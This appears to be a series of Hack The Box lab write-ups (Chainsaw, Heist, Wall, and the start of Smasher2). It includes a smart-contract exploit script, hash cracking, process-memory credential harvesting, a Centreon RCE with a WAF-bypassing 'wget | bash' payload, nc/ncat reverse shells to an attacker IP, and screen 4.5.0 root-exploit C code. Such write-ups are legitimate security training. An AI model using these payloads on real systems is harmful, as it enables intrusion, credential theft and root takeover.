"outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getPassword", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [], "name": "reset", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setUsername", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]')
contract = w3.eth.contract(address=address, abi=abi)
print(GREEN + "[*] Done")
print(YELLOW + "[+] Calling setUsername() with: {}".format(username))
contract.functions.setUsername(username).transact()
print(GREEN + "[*] Done. getUsername(): " + contract.functions.getUsername().call())
print(YELLOW + "[+] Calling setPassword() with: {} ({})".format(passhash, password))
contract.functions.setPassword(passhash).transact()
print(GREEN + "[*] Done. getPassword(): " + contract.functions.getPassword().call())
print(YELLOW + "[+] Calling setApprove() with: True")
contract.functions.setApprove(True).transact()
print(GREEN + "[*] Done. getApprove(): " + str(contract.functions.getApprove().call()))
print(YELLOW + "[+] Calling transfer() with: 1000")
contract.functions.transfer(1000).transact()
print(GREEN + "[*] Done. getBalance(): " + str(contract.functions.getBalance().call()))
print(GREEN + "[+] Exploit finished. Now you can login with the provided credentials: {}:{}, Exiting...".format(username,password))
exit()

if len(argv) != 4:
print(YELLOW + "[!] Usage: {} [contract address] [username] [password]".format(argv[0]))
exit()
else:
address = argv[1]
username = argv[2]
password = argv[3]
passhash = md5(password.encode('utf-8')).hexdigest()
exploit(address, username, password, passhash)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[email protected]:~/Desktop/HTB/boxes/chainsaw# ./ChainsawClubExploit.py 0xE6384BBbBb7C30C4Af2287872179296d46d863bE rick pwn3d                                                                                            
[+] Starting
[+] Connecting to localhost:63991
[*] Connection Established
[+] Creating the contract representation
[+] Address: 0xE6384BBbBb7C30C4Af2287872179296d46d863bE
[*] Done
[+] Calling setUsername() with: rick
[*] Done. getUsername(): rick
[+] Calling setPassword() with: b2f3d1e0efcb5d60e259a34ecbbdbe00 (pwn3d)
[*] Done. getPassword(): b2f3d1e0efcb5d60e259a34ecbbdbe00
[+] Calling setApprove() with: True
[*] Done. getApprove(): True
[+] Calling transfer() with: 1000
[*] Done. getBalance(): 1000
[+] Exploit finished. Now you can login with the provided credentials: rick:pwn3d, Exiting...
[email protected]:~/Desktop/HTB/boxes/chainsaw#

After authenticating I got a root shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[email protected]:~/projects/ChainsawClub$ ./ChainsawClub 

_ _
| | (_)
___| |__ __ _ _ _ __ ___ __ ___ __
/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V V /
\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (ā‚¬)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username: rick
Password:

************************
* Welcome to the club! *
************************

Rule #1: Do not get excited too fast.

[email protected]:/home/bobby/projects/ChainsawClub#
[email protected]:/home/bobby/projects/ChainsawClub# whoami
root
[email protected]:/home/bobby/projects/ChainsawClub# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/bobby/projects/ChainsawClub#

However the root flag wasnā€™t there:

Slack Space ā€“> Root Flag

root.txt size is 52 bytes, the block size here is 4096 bytes which means that there are 4044 unused bytes (4096 - 52) which is called ā€œslack spaceā€. (Check this page, and this one).
Slack space can be used to hide data, which was the case here with the root flag. I used bmap:

1
bmap --mode slack root.txt --verbose


And we owned root !
Thatā€™s it , Feedback is appreciated !
Donā€™t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Networked
Next Hack The Box write-up : Hack The Box - Heist

Hack The Box - Heist

30 November 2019 at 03:00

Hack The Box - Heist

Quick Summary

Hey guys, today Heist retired and hereā€™s my write-up about it. Itā€™s an easy Windows machine and its ip is 10.10.10.149, I added it to /etc/hosts as heist.htb. Letā€™s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[email protected]:~/Desktop/HTB/boxes/heist# nmap -sV -sT -sC -o nmapinitial heist.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:01 EST
Nmap scan report for heist.htb (10.10.10.149)
Host is up (0.16s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1h59m59s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-11-29T15:02:39
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.49 seconds
[email protected]:~/Desktop/HTB/boxes/heist#

We got smb and http on port 80, I also ran another scan on port 5895 to see if winrm is running and it was:

1
2
3
4
5
6
7
[email protected]:~/Desktop/HTB/boxes/heist# nmap -sV -sT -p 5985 heist.htb                           Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:05 EST                               Nmap scan report for heist.htb (10.10.10.149)                                                 Host is up (0.42s latency).                                                                   PORT     STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.10 seconds
[email protected]:~/Desktop/HTB/boxes/heist#

Anonymous authentication wasnā€™t allowed on smb:

1
2
3
4
[email protected]:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U ""
Enter WORKGROUP\'s password:
session setup failed: NT_STATUS_LOGON_FAILURE
[email protected]:~/Desktop/HTB/boxes/heist#

So letā€™s check the web service.

Web Enumeration

The index page had a login form, however there was a guest login option:

After getting in as guest I got this issues page:

A user called hazard posted an issue that heā€™s having some problems with his Cisco router and he attached the configuration file with the issue.
The configuration file had some password hashes and usernames:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Ā mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh

For the type 7 passwords I used this online tool to crack them:


And for the other hash I cracked it with john:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]:~/Desktop/HTB/boxes/heist# cat hash.txt 
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
[email protected]:~/Desktop/HTB/boxes/heist# john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
stealth1agent (?)
1g 0:00:01:09 DONE (2019-11-29 12:17) 0.01440g/s 50492p/s 50492c/s 50492C/s stealth323..stealth1967
Use the "--show" option to display all of the cracked passwords reliably
Session completed
[email protected]:~/Desktop/HTB/boxes/heist#

Enumerating Users ā€“> Shell as Chase ā€“> User Flag

So far we have hazard and rout3r as potential usernames and stealth1agent, [email protected], Q4)sJu\Y8qz*A3?d as potential passwords.
I tried different combinations and I could authenticate to smb as hazard : stealth1agent, however there werenā€™t any useful shares:

1
2
3
4
5
6
7
8
9
10
[email protected]:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U 'hazard'
Enter WORKGROUP\hazard's password:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
[email protected]:~/Desktop/HTB/boxes/heist#

I used lookupsid.py from impacket to enumerate the other users:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[email protected]:~/Desktop/HTB/boxes/heist# /opt/impacket/examples/lookupsid.py hazard:[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at heist.htb
[*] StringBinding ncacn_np:heist.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
[email protected]:~/Desktop/HTB/boxes/heist#

Then I could authenticate to winrm as chase : Q4)sJu\Y8qz*A3?d:

Administrator Password from Firefox Process Dump ā€“> Shell as Administrator ā€“> Root Flag

After enumerating the box for a while I noticed that Firefox was installed on the box which is unusual:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> ls

Directory: C:\Users\Chase\appdata\Roaming
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/22/2019 7:14 AM Adobe d---s- 4/22/2019 7:14 AM Microsoft d----- 4/22/2019 8:01 AM Mozilla *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> cd Mozilla
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ls

Directory: C:\Users\Chase\appdata\Roaming\Mozilla

Mode LastWriteTime Length Name
---- ------------- ------ ----

d----- 4/22/2019 8:01 AM Extensions
d----- 4/22/2019 8:01 AM Firefox
d----- 4/22/2019 8:01 AM SystemExtensionsDev
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla>

And there were some Firefox processes running:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ps
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
----------
REDACTED
----------
358 26 16304 279888 0.77 1408 1 firefox
343 19 9876 264068 0.88 4980 1 firefox
408 31 17344 60988 1.92 5096 1 firefox
390 30 26184 58192 9.94 6556 1 firefox
1232 68 110456 183140 22.83 7076 1 firefox
----------
REDACTED
----------
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla>

I uploaded procdump.exe and dumped one of these processes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> cd C:\Windows\System32\spool\drivers\color
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload procdump64.exe
Info: Uploading procdump64.exe to C:\windows\system32\spool\drivers\color\procdump64.exe

Data: 455560 bytes of 455560 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> .\procdump64.exe -accepteula -ma 4980

ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[21:15:31] Dump 1 initiated: C:\Windows\System32\spool\drivers\color\firefox.exe_191129_211531.dmp
[21:15:32] Dump 1 writing: Estimated dump file size is 265 MB.
[21:15:35] Dump 1 complete: 265 MB written in 3.6 seconds
[21:15:35] Dump count reached.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color>

Then I uploaded strings.exe and used it on the dump and saved the output to another file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> upload strings64.exe
Info: Uploading strings64.exe to C:\windows\system32\spool\drivers\color\strings64.exe

Data: 218676 bytes of 218676 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt"
cmd.exe :
+ CategoryInfo : NotSpecified: (:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Strings v2.53 - Search for ANSI and Unicode strings in binary images.
Copyright (C) 1999-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color>

I searched for the word ā€œpasswordā€ and found Administratorā€™s credentials exposed in some GET requests:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\windows\system32\spool\drivers\color> findstr "password" ./firefox.exe_191129_211531.txt
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
RG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
browser.safebrowsing.passwords.enabled
services.sync.engine.passwords.validation.percentageChance
security.ask_for_password
----------
REDACTED
----------


And we owned root !
Thatā€™s it , Feedback is appreciated !
Donā€™t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Chainsaw
Next Hack The Box write-up : Hack The Box - Wall

Hack The Box - Wall

7 December 2019 at 03:00

Hack The Box - Wall

Quick Summary

Hey guys, today Wall retired and hereā€™s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE, WAF bypass to be able to exploit that vulnerability and a vulnerable suid binary. Itā€™s a Linux machine and its ip is 10.10.10.157, I added it to /etc/hosts as wall.htb. Letā€™s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[email protected]:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 13:59 EST
Nmap scan report for wall.htb (10.10.10.157)
Host is up (0.50s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds
[email protected]:~/Desktop/HTB/boxes/wall#

We got http on port 80 and ssh on port 22. Letā€™s check the web service.

Web Enumeration

The index page was just the default apache page:

So I ran gobuster and got these results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[email protected]:~/Desktop/HTB/boxes/wall# gobuster dir -u http://wall.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://wall.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/06 14:08:02 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/monitoring (Status: 401)
/server-status (Status: 403)

The only interesting thing was /monitoring, however that path was protected by basic http authentication:

I didnā€™t have credentials, I tried bruteforcing them but it didnā€™t work so I spent sometime enumerating but I couldnā€™t find the credentials anywhere. Turns out that by changing the request method from GET to POST we can bypass the authentication:

1
2
3
4
5
6
7
[email protected]:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>

<meta http-equiv="refresh" content="0; URL='/centreon'" />

[email protected]:~/Desktop/HTB/boxes/wall#

The response was a redirection to /centreon:

Centreon is a network, system, applicative supervision and monitoring tool. -github

Bruteforcing the credentials through the login form will require writing a script because thereā€™s a csrf token that changes every request, alternatively we can use the API.
According to the authentication part we can send a POST request to /api/index.php?action=authenticate with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403.
I used wfuzz with darkweb2017-top10000.txt from seclists:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[email protected]:~/Desktop/HTB/boxes/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://wall.htb/centreon/api/index.php?action=authenticate
Total requests: 10000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000005: 403 0 L 2 W 17 Ch "qwerty"
000000006: 403 0 L 2 W 17 Ch "abc123"
000000008: 200 0 L 1 W 60 Ch "password1"
000000004: 403 0 L 2 W 17 Ch "password"
000000007: 403 0 L 2 W 17 Ch "12345678"
000000009: 403 0 L 2 W 17 Ch "1234567"
000000010: 403 0 L 2 W 17 Ch "123123"
000000001: 403 0 L 2 W 17 Ch "123456"
000000002: 403 0 L 2 W 17 Ch "123456789"
000000003: 403 0 L 2 W 17 Ch "111111"
000000011: 403 0 L 2 W 17 Ch "1234567890"
000000012: 403 0 L 2 W 17 Ch "000000"
000000013: 403 0 L 2 W 17 Ch "12345"
000000015: 403 0 L 2 W 17 Ch "1q2w3e4r5t"
^C
Finishing pending requests...
[email protected]:~/Desktop/HTB/boxes/wall#

password1 resulted in a 200 response so its the right password:

RCE | WAF Bypass ā€“> Shell as www-data

I checked the version of centreon and it was 19.04:

It was vulnerable to RCE (CVE-2019-13024, discovered by the author of the box) and there was an exploit for it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[email protected]:~/Desktop/HTB/boxes/wall# searchsploit centreon
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
----------
Redacted
----------
Centreon 19.04 - Remote Code Execution | exploits/php/webapps/47069.py
----------
Redacted
----------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
[email protected]:~/Desktop/HTB/boxes/wall#

But when I tried to run the exploit I didnā€™t get a shell:

So I started looking at the exploit code and tried to do it manually.
The vulnerability is in the poller configuration page (/main.get.php?p=60901) :

1
poller_configuration_page = url + "/main.get.php?p=60901"

The script attempts to configure a poller and this is the payload thatā€™s sent in the POST request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
# this value should be 1 always
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,


}

nagios_bin is the vulnerable parameter:

1
2
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),

I checked the configuration page and looked at the HTML source, nagios_bin is the monitoring engine binary, I tried to inject a command there:

When I tried to save the configuration I got a 403:

Thatā€™s because thereā€™s a WAF blocking these attempts, I could bypass the WAF by replacing the spaces in the commands with ${IFS}. I saved the reverse shell payload in a file then I used wget to get the file contents and I piped it to bash.
a:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f

modified parameter:

1
"nagios_bin": "wget${IFS}-qO-${IFS}http://10.10.xx.xx/a${IFS}|${IFS}bash;"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[email protected]:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337
[+] Retrieving CSRF token to submit the login form
exploit.py:38: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.

The code that caused this warning is on line 38 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

soup = BeautifulSoup(html_content)
[+] Login token is : ba28f431a995b4461731fb394eb01d79
[+] Logged In Sucssfully
[+] Retrieving Poller token
exploit.py:56: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.

The code that caused this warning is on line 56 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.

poller_soup = BeautifulSoup(poller_html)
[+] Poller token is : d5702ae3de1264b0692afcef86074f07
[+] Injecting Done, triggering the payload
[+] Check your netcat listener !
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[email protected]:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.157] 37862
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/usr/local/centreon/www$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/wall# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/wall# nc -lvnp 1337

[email protected]:/usr/local/centreon/www$ export TERM=screen
[email protected]:/usr/local/centreon/www$

Screen 4.5.0 ā€“> Root Shell ā€“> User & Root Flags

There were two users on the box, shelby and sysmonitor. I couldnā€™t read the user flag as www-data:

1
2
3
4
5
6
7
8
9
10
11
[email protected]:/usr/local/centreon/www$ cd /home
[email protected]:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Jul 4 00:38 .
drwxr-xr-x 23 root root 4096 Jul 4 00:25 ..
drwxr-xr-x 6 shelby shelby 4096 Jul 30 17:37 shelby
drwxr-xr-x 5 sysmonitor sysmonitor 4096 Jul 6 15:07 sysmonitor
[email protected]:/home$ cd shelby
[email protected]:/home/shelby$ cat user.txt
cat: user.txt: Permission denied
[email protected]:/home/shelby$

I searched for suid binaries and saw screen-4.5.0, similar to the privesc in Flujab I used this exploit.
The exploit script didnā€™t work properly so I did it manually, I compiled the binaries on my box:
libhax.c:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

rootshell.c:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[email protected]:~/Desktop/HTB/boxes/wall/privesc# nano libhax.c
[email protected]:~/Desktop/HTB/boxes/wall/privesc# nano rootshell.c
[email protected]:~/Desktop/HTB/boxes/wall/privesc# gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ā€˜dropshellā€™:
libhax.c:7:5: warning: implicit declaration of function ā€˜chmodā€™ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
[email protected]:~/Desktop/HTB/boxes/wall/privesc# gcc -o rootshell rootshell.c
rootshell.c: In function ā€˜mainā€™:
rootshell.c:3:5: warning: implicit declaration of function ā€˜setuidā€™ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ā€˜setgidā€™ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ā€˜seteuidā€™ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ā€˜setegidā€™ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ā€˜execvpā€™ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ā€˜execvpā€™ expecting 2 [-Wbuiltin-declaration-mismatch]
[email protected]:~/Desktop/HTB/boxes/wall/privesc#

Then I uploaded them to the box and did the rest of the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:/home/shelby$ cd /tmp/
[email protected]:/tmp$ wget http://10.10.xx.xx/libhax.so
--2019-12-07 00:23:12-- http://10.10.xx.xx/libhax.so
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'

libhax.so 100%[===================>] 15.77K 11.7KB/s in 1.3s

2019-12-07 00:23:14 (11.7 KB/s) - 'libhax.so' saved [16144/16144]

[email protected]:/tmp$ wget http://10.10.xx.xx/rootshell
--2019-12-07 00:23:20-- http://10.10.xx.xx/rootshell
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16832 (16K) [application/octet-stream]
Saving to: 'rootshell'

rootshell 100%[===================>] 16.44K 16.3KB/s in 1.0s

2019-12-07 00:23:22 (16.3 KB/s) - 'rootshell' saved [16832/16832]

[email protected]:/tmp$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]:/tmp$ cd /etc
[email protected]:/etc$ umask 000
[email protected]:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
[email protected]:/etc$ /bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.

[email protected]:/etc$ /tmp/rootshell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
#


And we owned root !
Thatā€™s it , Feedback is appreciated !
Donā€™t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Heist
Next Hack The Box write-up : Hack The Box - Smasher2

Hack The Box - Smasher2

14 December 2019 at 03:00

Hack The Box - Smasher2

Quick Summary

Hey guys, today smasher2 retired and hereā€™s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE combined with a WAF bypass, then a kernel module with an insecure mmap handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. Itā€™s a Linux box and its ip is 10.10.10.135, I added it to /etc/hosts as smasher2.htb. Letā€™s jump right in!

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[email protected]:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 07:32 EST
